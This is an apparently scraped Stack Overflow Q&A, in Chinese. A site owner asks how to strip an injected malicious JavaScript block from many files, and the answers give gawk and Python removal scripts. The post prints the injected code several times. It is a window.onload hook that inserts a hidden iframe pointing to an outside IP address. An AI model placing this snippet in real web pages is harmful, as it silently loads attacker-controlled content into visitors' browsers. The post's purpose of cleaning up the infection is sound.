【问题标题】:Remove a block of code删除代码块
【发布时间】:2018-08-16 01:59:31
【问题描述】:

我的 JS 文件中包含我想要删除的恶意代码。所以文件有多次出现。谁能帮助使用 SED 或 AWK 将其删除?

if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "http://155.94.75.92/iframe.html";
    document.body.appendChild(iframe);
};

}

【问题讨论】:

  • 请在您的帖子中发布您为解决问题所做的努力的预期输出。
  • 所以我所有的 JS 文件都添加了这个块,在某些情况下,这个块在同一个文件中存在 10 次。我希望能够从所有文件中删除整个块
  • 请避免"Give me the codez" 问题。而是显示您正在处理的脚本并说明问题所在。另见How much research effort is expected of Stack Overflow users?
  • 看起来我们得到了@jww-ed,所以我要像往常一样投票支持其他人的答案。

标签: linux unix awk sed


【解决方案1】:

只将该代码段保存在一个名为“bad”的文件中,然后在受感染的文件上运行它(对多字符 RS 使用 GNU awk):

awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected

在对 1 个受感染文件进行测试后,如果您对它的行为感到满意,您可以添加就地编辑标志(同样仅限 gawk)并一次在所有受感染文件上运行它:

awk -i inplace -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); print; next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected1 infected2 ... infectedN

在“它不起作用”下面写下你的命令,看看它是否有效:

$ cat bad
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "http://155.94.75.92/iframe.html";
    document.body.appendChild(iframe);
};

}

$ cat infected
foo
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "http://155.94.75.92/iframe.html";
    document.body.appendChild(iframe);
};

}
bar

$ awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected
foo
bar

【讨论】:

  • 我想你的方式更快
  • 是的,但你的是一个(ish)-班轮。因此我的赞成票:)
  • @tango_chintu 我想你一定不知道尝试帮助某人并得到“它没有用”作为回报是多么令人沮丧。不,谢谢,没有迹象表明它以何种方式不起作用,因此无法尝试帮助您识别和解决问题,没有。好的,那祝你好运。
  • 我很抱歉。你是对的,我应该先感谢你。我道歉。因此,当我这样做时,它会在屏幕上打印找到的代码的整个部分,但是当我打开恶意文件时,它仍然存在。
  • 让我快速尝试一下。感谢您的快速回复。
【解决方案2】:

我建议使用 Python 脚本:

list_of_js_file_paths = ["/path/to/file/1","/path/to/file/2"]

for i in list_of_js_file_paths:
    original = ""
    with open(i,"r") as file:
        original = file.read()
    original = original.replace("""
    <malicious_code>
    ""","")
    with open(i,"w") as file:
        file.write(original)

现在通过sudo python3 yourpythonfile.py运行它

【讨论】:

  • 不能把所有文件放在一个地方,它会破坏系统的任何剩余部分。
  • 好吧,您可以手动列出文件路径并遍历这些路径
猜你喜欢
  • 1970-01-01
  • 2016-01-14
  • 2016-10-17
  • 1970-01-01
  • 2017-09-23
  • 2021-09-29
  • 1970-01-01
  • 2020-09-16
  • 2013-02-27
相关资源
最近更新 更多